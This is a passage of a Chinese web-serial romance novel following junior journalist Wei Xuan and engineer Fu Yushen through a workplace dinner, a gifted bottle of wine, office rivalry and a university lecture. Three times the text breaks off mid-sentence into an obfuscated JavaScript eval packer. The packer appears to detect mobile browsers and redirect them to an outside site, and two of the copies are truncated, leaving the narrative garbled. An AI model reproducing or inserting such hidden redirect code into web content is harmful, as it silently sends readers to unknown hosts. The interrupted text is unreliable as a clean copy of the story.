“是我要谢谢你，傅工程师。如果你不帮忙的话，可能我这次根本转不了正。”魏萱补了个鞠躬感谢的表情。 “我只是引见。人，是你自己说服的。”傅予深如实道。 魏萱扑哧一声就被逗笑了。而后，那种欠人人情的沉甸感顿时散去了七八分。 “大家都说，报道写得很好。”他又说。 魏萱脸一红，却又有些疑惑。为什么是大家说，难道他没看？不过，这个念头很快就一闪而过，她打字回道：“别夸我。我会骄傲的。” 她以为他会笑笑，会回些乱七八糟的表情。可他没有，他只是干干净净地回了几个字。 他说：“就应该骄傲。” 她有点愣住了。从小到大，她接受的教育都是不要骄傲，不要得意。没想到有一个人会告诉自己，就应该骄傲，就应该这样。 她看着这五个字，莫名很喜欢。 之后，她又收到了他的微信。“我有一件工作上的事，希望得到你的帮忙。” “没问题。”她打字，随后又删掉，换成了“说说看。”因为她不觉得在他的工作上，自己能帮什么忙。 “不急，等我们下次见面再说。”他回复。 魏萱笑了，觉得有点奇怪，没想到，她很快却又收到了他的一条转账消息。“我预定了你下周的一点工作时间，请留下一点时间，不要接其他的工作。” 转账金额是，一万块。 这个价格，对于魏萱这种刚入门的记者而言，实在显得有点太多了。以至于魏萱反复看了好几遍，确认自己到底有没有数错那些零。 确认过后，自然就不敢收。可他很坚持。 魏萱顿了顿，忍不住打字问他：“为什么是我呢？”自己能帮上他的什么忙？采访？报道？他的身边应该不缺记者吧。就连池雪露这样的名记，应该也很愿意帮他的忙。 他并没有犹豫，很快便给出了回复。 只是，却并不是正面回答，而是一个英文单词。“MEL。” 魏萱下意识码字回答：“最低设备清单。” “你看。”他顺手引用了她刚才那句“为什么是我呢。”的问题。 就应该是你。他淡淡回复。“魏记者，你比你自己想得更出色。” …… “私己”这家餐厅是s市有名的小众米其林西餐厅之一。这家餐厅不仅价格不菲，而且对顾客的穿着还有要求。要求不会太高，只要不是太过随意的运动休闲装就可以了。可即便如此，也有些人不愿意为这种姿态摆得过高的餐厅买单。当然，与之相反，也总有人是这种地方的拥趸。 池雪露事先定了一间最大的包厢，李可到的最早，这会正穿着一身暗灰色的短裙笑盈盈地跟服务员吩咐着菜色。再后来，其他人陆续也都到了，李可扫视一圈，见没人跟池雪露撞衫撞颜色，这才放下心来。 又坐了一会，有人笑眯眯地进来，说池大记者到了，众人便立刻站起来迎接。等到明媚的大美女进了门，大伙全都眼前一亮。与平时上班相对正式的穿着不同，今天池雪露的打扮主打一个贵气。黑色吊带上衣，流光溢彩的金色半裙，耳环和项链都是香奈儿的LOGO，手里的拎包则是birkin。 这样的一身打扮，配上她的过耳短发，妥妥的豪门千金气质。在场的几位男士有些坐不住，拎包的拎包，拽凳子的拽凳子，连服务生都没挤上去。姑娘们也都是场面人，何况人家是真漂亮，自然左一句右一句地夸。 池雪露渐渐心情好了些，又笑着问谁还没到。苏晓高高举起手，说是还剩魏萱和另外一个小姑娘。李可点点头，笑着对池雪露道：“魏萱还没到，这个时间，可能是有点堵车。” “不着急，只是她是主角，咱们吃饭要再等等。”池雪露说着，又看了看苏晓，有点惊讶道：“你穿的是运动装？那你有没有提醒魏萱，叫她不要穿运动装了？” 所有人对魏萱的印象，都停留在运动装高马尾上，池雪露也是。 苏晓额了一声，摇了摇头。“我今天没联系她。” 池雪露有点不高兴了。“这不太好吧。” “雪露姐，咱们私下聚餐，运动装又怎么不行？”开口的是赵南，昂着脖子，怕别人不知道他有背景似的。 池雪露呵呵一声，淡淡笑道：“我倒是不要紧。但今天之所以把聚餐的地方定在这里，是因为公司有一些高层在隔壁包厢。我本来是想，带着几个刚转正的过去敬敬酒，也算在高层那露露脸。多好的机会，赵南，人家领导都西装革履的，你觉得我让她穿着运动服过去，合适么？” 头一回，赵南被怼得没话说了。苏晓也有点担心，看着李可道：“李可姐，咱们平时连高层的面都碰不上，这回可是挺好的机会，不能让魏萱错过了。要是魏萱真穿得不成，你帮忙想想办法呗。” 李可点点头。“行，我把我的裙子借给她。” 苏晓说了句谢谢。池雪露却有点不满意，蹙了蹙眉道：“不是我说你们，咱们都是做记者的，也不是天天跑现场，总得有点正式得体的衣服。什么场合穿什么衣服，这是做人最基本的礼貌吧。” “可不是么。”李可附和道。“一会魏萱来了，我得好好说说她。”说罢，她又瞥了苏晓一眼。 苏晓吐吐舌头，心里却毫不在意。她不是攻击型人格，不会像赵南那样当众不给领导面子，但实际上，她和赵南一样，其实是个不怎么把领导对自己的看法当回事的人。 有了池雪露的话做调子，大伙虽然不说什么，但苏晓看得出来，这些人心里都对自己和魏萱有些犯嘀咕。就好像网上有人嘲笑那些穿着拖鞋背心去五星级餐厅吃饭的人一样。 苏晓淡淡笑了笑，不动声色地夹起了一块虾仁。 就在这会，服务员先进门了。大伙都看见了她领路的姿势，自然知道这是又有人到了。 来的是谁呢？ “走错包厢了吧。”看了来人一眼，便有人低声说道。众人起初也都这么想，直到魏萱的声音轻轻在房间里响起。“抱歉啊大家，我是不是来晚了。” ？这是魏萱？ 谁？魏萱？？ 众人都呆住了，因为今天的魏萱实在很不一样。她穿着并不复杂，简简单单的抹胸过膝裙，外头罩着一件稍稍有点oversize风格的西服，新烫的栗色卷发挡住了大半白皙的脖颈，豆沙色的口红和微微泛红的脸颊彼此映衬，让她的气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392821|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得格外优雅。 苏晓看着大伙瞠目结舌的神情，默默抿了抿嘴。这可是她昨天辛苦一天的杰作，要是再没点效果，那她大学四年的设计课可真是白蹭了。 “我靠。”赵南的嗓子跟低音炮似的，忍不住爆了粗口。 “妆太浓了？”苏晓有点担心。而她之所以问赵南，是因为她总觉得赵南不是很直。果然赵南很专业，摇了摇头道：“没觉得，那眼妆约等于零啊，就有点唇妆吧。觉得主要还是发型和穿着变了，就显得很惊艳。” 是的，魏萱试了几次，依然觉得粉底有点腻歪，所以只留了唇妆。可即便这样，也足够让人眼前一亮了。 这会，池雪露才慢慢转过头来。一看魏萱，虽然搭配功底仍算一般，衣裳也一看就不贵，但配上这张脸，竟然也足够了。真的不是之前那个灰扑扑的运动风大学生了。她有点诧异，不知道魏萱是转正后开了窍还是一直在扮猪吃老虎。 在众人过分热烈的眼神里，魏萱坐到了苏晓旁边。看着苏晓，她忍不住诧异。“你不是说不能穿运动风？” “衬托你呗。”苏晓挤挤眼睛。见魏萱当真，又很快咯咯笑了。“今天真好看啊。”她凑在魏萱身边，忍不住想跟美女贴贴。 魏萱却有点别扭。“得了吧，就这一回，明天我还是得穿休闲的，这裙子也太紧了。” 是很紧，把魏萱纤细的腰身全都凸显出来了。更要紧的是，该有货的地方竟然还有那么丰盈的货，苏晓都震惊了，看来还是得多跟闺蜜洗澡，才能见到真章。 “行吧，这一回也够了。”苏晓心满意足地笑笑，然后又瞥了池雪露一眼。她没跟魏萱说的是，她觉得池雪露是故意选这家餐厅的，为的就是让魏萱出丑。不过，现在看看池雪露满脸淡然的模样，倒是也不像？那或许是自己以小人之心度君子之腹了吧。 “对了萱萱，你有没有crush？” 魏萱摇头。苏晓啧啧舌。“那可真是遗憾了。要是有的话，一会咱们聚餐结束，你必须得把他约出来，让他惊艳一把。” 魏萱囧然。“我脑子里就一个想法——裙子紧。” …… 菜过五味，池雪露轻轻撂下了筷子。“那边差不多了。一会我带你们几个过去敬酒。”魏萱一听这话，不由得有点紧张，赶紧撂下没动了几口的筷子跟苏晓道：“那我赶紧去趟洗手间。” 苏晓点了点头。“行，我看一眼，嗯，口红没花，不错，去吧。” 魏萱都忘了还有口红的事了，还下意识想去摸摸发尾紧不紧呢。苏晓这么一提醒，她才想起来，忙拽了拽裙子才走出包厢。 穿上裙子和高跟鞋的魏萱体态极好，出门的时候，还有好几人往她笔直的小腿上看了好几眼。几位小姑娘关注的则是她的脖颈，谁不喜欢天鹅颈呢，多好看啊。 魏萱一概不知，淡淡出了包厢，然后才后知后觉地发现这家餐厅的走廊低调安静又豪华。她走在最右侧，视线不由得被墙壁上的复古油画所吸引。总觉得不像仿版？ 这样正想着的时候，连隔壁包厢开了门都不知道。她直直撞在了一个高大的男人身上，淡淡的冷杉叶气息传来，干净又清冷，与那蓬勃结实的胸肌形成了分明的对比。好像漫天星河间，遇上了一头能把人咬碎也能把人温暖到极致的野兽。 最要紧的是，苏晓为了造型强制她披在身上而不是穿在身上的西服，被撞掉了。 13. 红酒 要说魏萱是真的很白，锁骨分明，双臂纤细。连肩膀都生得好看，不用练，就很直角肩。这样的场面落在傅予深的眼里，他的喉结忍不住剧烈地滚动了一下。旋即，他蹙眉冷眼，关上了包厢的门。 魏萱看得清清楚楚，想出门的人不止他一个。然后，那些人就那么被他关在了里面…… 然后，魏萱反应过来，火速从干净的地上捡起了西装外套，也顾不得抖一抖，便乖乖穿在了身上。是穿上，而不是披上。 下回再也不听苏晓的了。 包厢的厚实木门重新开了。魏萱这才看清楚，从门里走出来的两三个男人，气质都很超群。看一眼就知道，至少是地方新闻上经常露脸的企业总裁。就是这种身份的人，刚才赫然被傅予深关在了包厢里。 “门坏了。”他对他们漫声解释，又不动声色地将她挡在了身后。魏萱自然不能吭声，正准备趁着他的遮挡灰溜溜走回自己的包厢去。不想，身后很快传来傅予深优雅磁性的声音。 “是在庆祝你转正吗？” 她回头，看见的是那群人的背影，还有傅予深沉澈如星辰的眼眸。他的眼眸里只映着她一个人，方才被她撞过的胸肌也在黑色毛衣下完好无损地贲张显露。 “算是。”魏萱轻声回答。 傅予深笑了笑，冲着前面宽敞的会客处道：“占用你一点时间，可以吗？” 魏萱莫名想起范姜合的脸，深深地觉得这样的行为不太妥当，可他似乎不想给她拒绝或者接受的机会，已然迈开长腿替她抽出椅子。 魏萱停顿了一会，想着到底是公众场合，应该不会引起误会。何况他要说的一定是工作的事，于是点了点头，坐在了椅子上。 她坐下的时候，他的手还没从高高的椅背上抽离，所以她能感受到他高大温热的气息在身后，简直像是个能抵挡风雨的盾牌。 “没想到会在这里遇见你。”她看着眼前气质慵懒矜贵的男人，轻声开了口。他这会坐在对面，笔直修长的双腿交叠着，显出挺括分明的肌肉线条来。再往上看，只见他眉骨硬朗，喉结明显。其实这会，他身前的光线是有点昏沉的，可人家依然像大明星似的，平白就有熠熠生辉的光彩。 “现在，我们能说一说工作的事了吗？”她又开口道。 傅予深点了点头。“是这样的，公司常有重要报道，需要我针对其中的核心技术部分做文字阐释……” 魏萱听了一会，渐渐明白了。新闻报道和技术论文不同，有些东西不必摆到明面上，所以傅予深需要有人帮他做一做文字把关的工作。文字这个东西就是这样的，它可以成为一种宣传手段，却也可以成为暴露隐患或者酿成笑话的漏洞。尤其是新闻报道，意义就更重大。 “我应该可以尽力试试。”无论出于什么立场。 傅予深道了谢，站起身来，又漫声道：“费用的事不用担心，我会按周期付费。” “不用不用，反正我也有很多空闲。”毕竟不涉及新丽景宣发，只是单纯的文字工作而已。所以，之前的一万块钱，她也没收。 “是么，那看来，我要欠你人情了。”傅予深轻声说着，深邃的眼眸将她笼罩，莫名引人沉溺。 这会，不远处的包厢门口传来苏晓的声音，她喊起了魏萱的名字。魏萱一阵尴尬，不过还好，总算这个会客处被走廊遮挡了一半，因此苏晓应该是看不见傅予深的。 她不想给他添一点麻烦。 “那就这样，报道您微信发给我就好。”魏萱起身，微微点点头，冲着自己的包厢走回去。 走到门口，苏晓咯咯一笑，拉着魏萱低声道：“池大记者又不高兴了。” “怎么了？” “好像是宋总不过来了。池雪露不高兴，觉得没面子了。”苏晓念叨道：“本来也是，人家是副总，怎么可能屈尊见咱们呢？” 魏萱咬咬嘴唇，听苏晓又说道：“好了好了，一会说点好听的，哄哄她得了。你也知道，主编给咱们拨下来的报道，具体的分配名额全在她手上。” 魏萱自然毫不犹豫地点点头。光转正没用，她的心愿是拿到国内十佳记者的名誉。这一切的前提，当然是她手里得有属于自己的报道。 进了门，两个人听见李可正手捧着一瓶红酒，笑盈盈地跟大伙说着。“这可不是普通的酒，是贝加西西里酒庄的红酒，被称为西班牙酒王，是西班牙最好的葡萄酒之一。怎么样，我们雪露姐够意思吧。为了你们，特意让人开的这酒。” “这酒不便宜。”赵南眼睛一眯，难得的没怼人。 池雪露呵呵笑了笑，扭头看下傻了眼的魏萱，招招手道：“你得尝尝，今天你也是主角。” 魏萱看着服务生小心翼翼地醒酒，毫不犹豫地点了点头。“我还没喝过这么好的酒呢。”苏晓是酒人，没事就要自己喝两口的，这会也来精神了。“雪露姐，你来真的啊，饭都挺贵了，还开这么贵的酒。姐，你都少买个包了吧。” “你们高兴就行了。”池雪露托腮而笑。 “还得是雪露姐大方。”“是啊，感谢雪露姐带我见世面。” 服务员倒满了众人面前的酒杯。几个刚转正的人是主角，自然挨个上前敬酒。魏萱排到了最后一个。等前头的人全都敬过，她才一脸真诚地走上前，对着池雪露说道：“雪露姐，多谢您给了我明航的报道。以后我会继续努力工作，认真完成您安排的每一项工作。过去的事，我哪里做得不好，您多多包容吧。” “好，你是可塑之才。有你在，我也高兴。”池雪露笑着答应了，让魏萱脸色一松。可就在酒杯端起来的一瞬，李可忽然义愤填膺地站起来，对着池雪露道：“雪露姐，魏萱捅出了那么大的篓子，你真的打算替她背这个锅吗？这事你能忍，我可忍不了了。” 魏萱一呆，李可倏地从她怀里把酒杯抢过去。“这么贵的酒，你也不配喝。魏萱，你知不知道雪露姐替你周全了多大的事！？” “行了李可，魏萱转正也不容易，之前明航的报道，她也花了很多的心血。”池雪露按住李可的手，示意魏萱把酒杯再端起来。 可那酒杯还真挺沉的，就像魏萱此刻心里的石头一样沉。她端不起来，她就想知道，自己到底错哪了。 可惜，池雪露没有要说的意思。“今天不说这件事了。”她冲着李可摇头。苏晓和赵南都想帮魏萱说话，无奈这李可的话含含糊糊，她们想反驳都找不到理由。何况，万一真是魏萱有什么错呢，要是冒失把事情闹开了，事情反倒不好。所以，几个人都有点畏首畏尾。 池雪露看看魏萱，嘴角勾了勾。“别听李可的，好不容易转正了，你得高高兴兴的。魏萱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏萱严重怀疑傅予深是在报复自己之前连累了范姜合的事。 李可眼尖，坐在服务生旁边，一眼就看见了服务生腰间别着的点菜单。 这什么柏拉图的酒，三万零五百。 整个包厢都安静了，直到服务员说担心魏萱拿着不安全，说会亲自送到魏萱的家里。然后，苏晓恨铁不成钢地看着不愿意留地址的魏萱，亲自替她把地址补全了。 谁都不知道的是，那服务员其实一出包厢就挨骂了。领班就差拽着他的耳朵到后厨了。“你是耳朵没听见还是脑子不好使，那位先生特意吩咐了，说等魏小姐聚餐结束后再单独送酒，或者单独要地址。你怎么就冲进包厢了呢？” 服务员一听也委屈了，他到点要下班了，等不及啊。 领班听了，深恨自己的员工培训做得还不够专业。 出了门，魏萱和苏晓一块上了出租车。“到底谁送的酒？”“我到底惹什么事了？”两个异口同声地问，可惜，谁都没得到对方的答案。 “行吧，反正池雪露今天气冒烟了。”苏晓心满意足地靠在了座椅上。 魏萱一听，脸色更难看了。“晓晓，那我还能拿到报道吗？咱们公司还有个末位淘汰的制度呢，要是一个季度没报道，我可就惨了。” “额。”苏晓犹豫了。 见此场景，魏萱的身子重重地靠在了椅背上。早知道，还不如把傅予深的一万块钱报酬领了呢，这回倒好，得了一瓶三万多的红酒，不能喝不能卖的，有什么用啊…… 14. 蹭课 回到家里，苏晓还在刨根问底地问魏萱那柏图斯的酒到底是谁送的。“你不可能不知道。”苏晓今天索性跟魏萱住在了出租屋里。 魏萱拿毛巾擦着湿漉漉的头发，架不住苏晓死缠烂打的盘问，最后还是轻声说出了傅予深的名字。 “谁？你说谁？”苏晓顿时就呆住了。 …… 事情比魏萱预想得还要差。陈昱被安排去了德国出差，足足要走三个月。在他出差期间，他的一切工作都由池雪露代劳。也就是说，不仅是A组，就连B组也要归池雪露暂时管理。这样一来，池雪露难免忙不开，所以很多工作就都落到了李可的身上。 包括接下来的任务划分。李可说得正儿八经。“魏萱，我是这么想的，咱俩一起把明航这个系列报道做完，然后我再给你分别的任务。你也知道，新丽景很看重明航这样的大公司，搞好了，就是长期合作，你也算功臣。” 魏萱听了，不免蹙眉。因为明航的系列报道其实近期已经做到极致了，新闻市场不会乐见一家公司频频露面。所以，后面的报道都是锦上添花，简简单单就行。 “可是距离明航的合约到期，还有三个月吧。李可姐，也就是说，魏萱这三个月都只能干这一个活？”对于苏晓自己来说这是好事，可她很了解魏萱。她绝对不乐意。 李可似乎不满苏晓站出来反驳，干巴巴笑了笑道：“她也可以自己去找找新闻素材。不过先说好了，已经被新丽景看上的，就不行了。” 新丽景如今在新闻界已经是数一数二的公司了，对于国内外热点几乎是手拿把掐，根本不可能存在什么漏网之鱼。当然，除非是那种很小的社会新闻。 “好了。”站在最前面的李可拍拍手道：“眼看就要到年底了，大家也知道，咱们新丽景实行末位淘汰制度，每年年底都会淘汰至少两名员工，所以大家都辛苦起来吧。雪露姐希望，她手底下没有被淘汰的人。加油吧。” 苏晓撇撇嘴，拉着魏萱出了门，靠近她道：“李可还是没说到底雪露姐帮你背了什么锅，是吧。我看这事就是她编的，你可别上当。” “早上我在茶水间，还听见有人议论这件事。”魏萱顿了顿，苦笑道：“晓晓，你也知道，我不可能做到一点都不在乎。可我也真觉得，人家不至于编排了这种事来污蔑我。” “有点内耗了啊。”苏晓有点心疼地搂紧魏萱的胳膊。她跟魏萱虽然认识的时间不算长，但却很了解魏萱。她绝对是一个很矛盾的人，既有新闻人的果敢善良和正义，也有一种很强烈的敏感和隐隐的自卑。 “李可姐早上把我叫过去了，是之前校对稿件的事，但具体哪篇她就不说了，说是雪露姐不许，一则是事情已经过去了，二则毕竟涉及到举报者，所以……我是想着晚上再回去重新筛一遍，看看到底哪里出了问题。” “萱萱你别傻啊，你之前校对的稿件足足有一百篇了吧，这要是从头筛一遍，眼睛都累花了。不行不行，我不答应。萱萱，你怎么就想不明白呢，她就是故意针对你。”苏晓气得摇头，又咬牙道：“实在不行，我去找宋副总。我就不信了，这个公司还没人能管得了池雪露了。” “不用去了。”赵南不知何时从两人身后冒出来，随手递给魏萱一杯咖啡道：“我打听了，据说池雪露和宋副总已经谈妥了。” “谈了什么？” “宋副总放权，暂时将一切交给池雪露负责。而池雪露答应宋副总，要在一年内给他培养出一个能独当一面的新闻团队，里头至少要有三个核心骨干。这也不无道理，虽然咱们这边有池雪露这个金字招牌，但的确后续无人，上头着急也是正常的。” “怪不得陈昱被安排去了德国进修。”苏晓说。 “是啊，所以你现在去找宋副总也没用，他既然放权，肯定一切都交给池雪露处理。所以我萱姐，可能真得过三个月苦日子咯。”赵南同情地看了她一眼。 苏晓：“……” 茶水间有一瞬间的静谧，旋即，赵南和苏晓听见了魏萱轻柔如山泉的声音。“没事儿，你们别担心。我继续做明航的系列报道就行了。其实，我还有一个相对不错的思路，一直没派上用场……” 赵南不佩服别人，就佩服魏萱。这不，就这种打不倒的小强精神，就很帅。 果然接下来的日子，魏萱再没拿到别的工作。而更加让她有危机感的是，李可似乎得到了池雪露的指点，忽然对明航系列报道的最后一篇志在必得。这也就意味着，如果魏萱写不出足够好的报道，那最后一篇的署名甚至会变成李可。 魏萱不太能接受这件让她不能善始善终的事。所以这段时间，除了忙傅予深的一些普通报道，她几乎把剩下的全部心力都放在了这最后一篇宣传报道上。 好在，傅予深的报道其实并不难，毕竟都是日常报道而已。魏萱接连帮他审改了七八篇，等到了改完第九篇稿件时，她想了又想，到底还是忍不住给他发了微信。 “抱歉，最近我的个人工作太忙了，可能暂时不能帮你改报道了。” 苏晓又赖在她的出租屋里，看见这话就开始跳脚。“拜托，你哪里忙了魏萱！” 魏萱蹙蹙眉，点开傅予深的稿件，将手机递给苏晓。“标黄的地方是技术部分，他要我把技术部分插进后面的报道里，再把前后的文字理顺。晓晓，你觉得这件事有难度吗？” 苏晓挑眉接过手机，认真看了半晌，摇头：“如果精通这些专业词汇和具体的工作思路的话，好像很简单啊。” “对啊。”魏萱淡淡一笑。“所以我觉得，他根本不需要我帮忙。” “那他为什么要找你帮忙呢？”苏晓忽然眼前一亮。“他会不会喜欢你啊？魏萱？！” 魏萱想都没想就否定了，甚至觉得苏晓有点可笑。“他有女朋友了，晓晓。就算没有，也绝对不可能是我。” 苏晓想想傅予深的身世，也觉得自己有点冒失，呵呵笑了笑，打起圆场道：“这种事谁说得准。萱萱，那你觉得是为了什么啊？” 魏萱的脑海里莫名出现那天自己站在公交车前狼狈的模样 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“那太好了。”见她真的不放在心上，苏晓才高兴起来，又伸了个懒腰，舒舒服服地躺在了沙发上。魏萱拿起手机，转头进了厨房。打开冰箱的一瞬，手里的屏幕亮起来。 傅予深只回了一个字。“好。” 她一怔，很快却又收到他的另一条微信。“费用的事，我后续安排。” 看着他的文字，魏萱忽然想起来，似乎昨天聊稿子的时候他提到过一句，他今天是要值班的，会很忙。她不想再打扰他，便只回了一句：“不用了，红酒就足够了。” 然后，直到那一份肥牛饭被两个人一起吃得干干净净，她都没再收到他的回复。 到这里，似乎两个人再没有任何交集了。事实也如此，接下来的一周时间里，魏萱与傅予深的对话框都停留在了那句”红酒就足够了。”上。 而魏萱在意识到了傅予深对自己的同情后，也更加笃定地迈向了自己的事业，将一切似有似无的心绪完全抛在了脑后。 可无巧不成书，有时候，有些人，注定会阻挡不了地向着同样的彼岸奔去。 那一天，魏萱起得比苏晓还早。她煎了鸡蛋，又用火腿和生菜夹在面包片里做成了三明治。“我今天要去京立航空航天大学听一节课。这节课还挺重要的，事关我接下来的报道方向。” 苏晓咬了一口三明治，整个人精神了不少。“你哪来的课表？听谁的课？” “一位老教授，据说是明航退下去的专家级工程师，技术大拿。对了，赵南的妹妹就在这所大学读书，帮我要到的课表。” 对于魏萱这种无所不用其极的工作态度，苏晓司空见惯，点了点头，指了衣柜道：“行，穿我送你的那条牛仔背带裤好不好？” 苏晓总是借着各种各样的名义，想改变魏萱的穿搭。她都习惯了，当然点头答应。 可让魏萱没想到的是，她今天还没等进京航大学的明德楼，便看见了李可的身影。 15. 公交 李可显然没刻意规避自己不是大学生的身份，穿的是一套相对成熟的杏色毛呢裙。 “李可姐。”魏萱弯腰招手。 李可却脸色一变。“你怎么在这？”旋即，她反应过来，勉强笑了笑道：“你也是来找人的吗？” 魏萱摇头。“来听课。” “谁的课？” “一位叫孙明悟的教授。”魏萱如实答。 李可的脸色就更不好看了，几乎是掐在魏萱的胳膊上，硬生生问道：“为什么来听他的课？是雪露姐跟你说什么了？还是谁跟你说了什么？” 魏萱不是擅长隐瞒的人，稍稍犹豫后就轻声作答道：“明航那边找不到什么报道的亮点了，除非是……” 李可心一凉，果然听见魏萱接下来的话跟自己此行的目的一模一样。“除非是，突破技术封锁的事。” 孙明悟，正是明航突破技术封锁的关键人物。这个新闻素材，是池雪露托了业内专家才帮忙想到的。李可十分感激，又求了池雪露想办法，费了很大的劲终于联系上了这位老专家，人家好不容易才答应今天见李可一面。 李可怎么也没想到，这么难得的切入点，人家魏萱自己就想到了，而且还摸到了孙教授的课堂上。她有点笑不出来了，她终于意识到，魏萱可能真的是个天生的记者，更是一个强劲的对手。 “那咱们进去吧。”李可平复了心情，淡淡说着。 两个人找到了对应的阶梯教室，为了不打扰真正上课的学生，就都坐在了教室的最后一排。“李可姐，喝水。”魏萱出门从自动售卖机买了两瓶热牛奶。 李可堵得胃都疼了，哪里还有心情喝水，勉强说两句谢谢，就搁在了桌角。随后，陆陆续续进来了不少大学生，因为这是飞机维修专业的课，所以来的大部分都是男孩，只有寥寥几个女生。 “还好是开学初，这要是同学们都互相熟悉了，我们想蹭课都不行了。”魏萱压低声音说。 李可怔了怔，忍不住问道：“你怎么不问问我来做什么呢？” “嗯？”魏萱有点疑惑。“姐你也负责明航的报道呀，当然是来学习的，不是吗？” 谁有那功夫像你似的天天学，什么都要学。李可默默翻了个白眼，却还是点了点头。 没想到，片刻之后进门的，竟然不是什么须发皆白的老教授，而是一个比当红大明星都气质出众的男人。他穿着一件简单的纯白色丝绸衬衫，剪裁极其合体，袖口完美地修饰出他的手腕，上头还戴着一块看不出牌子却看上去就很精致贵重的手表。 “代课。”他淡淡开口。李可虽然失望，可眼神却有些移不开。“总觉得有点面熟，娱乐圈的？”她轻轻念叨着，眼底不无惊艳。 魏萱却什么都没说，只是看了一眼傅予深那双修长的手，便慢慢翻开了笔记。她用的仍然是黑色封皮的那一款，最后一页上，傅予深写下的笔迹与他此刻在黑板上写下来的字几乎如出一辙。她自然不敢翻开那一页，反而用袖口轻轻压住，像是压住心头一个沉甸甸的秘密一般。 李可见她认真，心里有些警惕，也不再提要去找孙明悟的事，而是静下来心听起了课。本来是很专业的课，但也许是傅予深刻意降低了难度，也许是他讲得太过深入简出，两个人竟然都听得很是入神。 直到中途休息，李可才有点焦急地撂下笔。她听了半天了，可半点技术封锁的事都没听见。这样下去可不行。于是，她掏出手机，默默给池雪露发了条微信。 然后，还没等到池雪露的回复，耳畔忽然想起了一道有点忐忑又有点好听的声音。“那个，同学，我看你做笔记了是不是？我来晚了，你看能不能留个联系方式，你把笔记发我一份？作为报酬，我请你吃饭！” 这话听着是借笔记，实际上却是想加好友。谁听不懂呢。 李可一笑，正要扭头拒绝，却见人家是对着魏萱在说话。而且，还是个长得高高大大颇为帅气的男大。这里毕竟都是学飞机维修的，没点体能不行，所以一个个体质都不错，看着就一身的肌肉。 魏萱有点怔住了。她读了四年大学，班里系里的男同学，当然也包括韩逸，都是因为她性格乖巧才喜欢她，没一个像现在这样，看了几眼就过来要做朋友的。这应该是大美女的待遇才是。 她想不到，李可却忍不住瞥了她一眼，而后惊觉现在的魏萱真的称得上美女，半长不长的栗色波浪卷发，配上牛仔背带裤和短t，看着实在清纯又性感。 什么时候连衣品也渐渐好起来了。李可蹙蹙眉。 “同学，我没有别的意思，真心的。”男大又开口，手里拿着最新款的手机，一双鞋也是倒勾，显然条件还不错。 魏萱有点尴尬，正要摆手，却听见讲台上头传来一道淡淡的声音。“这个知识点都没听懂是吧，那我再讲一遍。” 而后，傅予深慢慢抬眸。他的一双眼睛特别好看，又很有气质，大约很适合言情剧，更适合古偶。 大学生们一个两个全都回到了座位上。男大也懂礼貌，对着魏萱用唇语说了句那一会再说，便扭头回了倒数第二排。李可见此机会，对着魏萱笑了笑。“其实我觉得技术封锁这个选题有点冒失，我还是换一个吧。今天我就先走了。” 魏萱点点头。“我听完。” 李可递过一个赞赏的眼神，直到拎包从后门溜出去，她脸上的笑意才慢慢消失了。“孙教授病了？” 跟着李可出来跑新闻的下属点头。“是， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你说得对。”李可彻底安心，又给了他一个地址道：“我们去孙教授家里碰碰运气。” 下属答应下来。而另一边，魏萱刚刚挂掉电话，正看着身边被主控位置降下来的车窗发呆。外头的风声车声挺大的，一阵阵传进来，真有点像公交车了。 不过，电话挂掉不过一瞬，旁边的男人便随手一按，又将车窗升了上来。 她有点感激，又敏锐地觉察到他似乎有些情绪，于是也不敢道谢。直到，越野车被开到一处地下停车场的黑卡停车区。 …… “傅工程师，我……是想回家的，你说你顺路……”魏萱小心翼翼地问。 傅予深敛目熄火，却并未作答。她只好又轻轻问了一句。“傅工程师？” “公交车司机不高兴了。”傅予深轻轻说着，眼眸随即一垂，慵懒矜贵的视线顿时十分具有压迫性地对上了魏萱那双麋鹿般清澈水润的杏眸。 16. 障碍 对上他的双眼，魏萱知道他没有生气，不过是个简简单单的玩笑。可莫名其妙地，一种强烈的暧昧感在她心头萦绕起来。 她看着他过分干净的手和青筋微露的手腕，感受到一阵清冽淡然的香气正向她扑来。 魏萱很想往车窗外看，可惜这是黑卡区，又是工作日，除了安全指示灯外实在什么都没有。 “我随口编的……”车里太安静，她不必抬高声音，任由自己的语气平淡温和。“傅工程师，我总不能说我在你车上吧。那是我上司，让她知道了……” 知道了会怎么样？魏萱忽然有点说不下去了。不过就是上一辆车，怎么自己平白就这么心虚呢。 不过，称人家的车是公交车的确很不礼貌。魏萱想道歉，可没等开口，他忽然又说起另外一句话。“我以为你很忙。” 他淡淡开口。魏萱一抬眸，猛然发现他深邃的眼眸里此刻装着的全都是自己，她不由得一慌。 “是很忙……”她飞速垂下眼眸，长长的睫毛像乌色蝴蝶的翅膀轻轻颤动，掩着她清泉似的慌张双眸。 “是么。”傅予深的手肘压在方向盘上，身体侧过来，当然没有靠近她的意思，他是极懂分寸的人。可即便如此，和一个高大健硕的男人这样面对面坐着，也足以让魏萱心跳得厉害。她想躲，于是身子忍不住向后倚靠，栗色卷发轻轻扫在车窗上。 “我可以把你的忙碌理解成，你并不愿意帮我改那些报道吗？”他看着魏萱，因为身高实在太过优越，所以此刻是微微低着头的。英俊而冷淡的脸庞像是一幅绝佳的素描画，让此刻停车场通明的灯光显得也十分有格调。 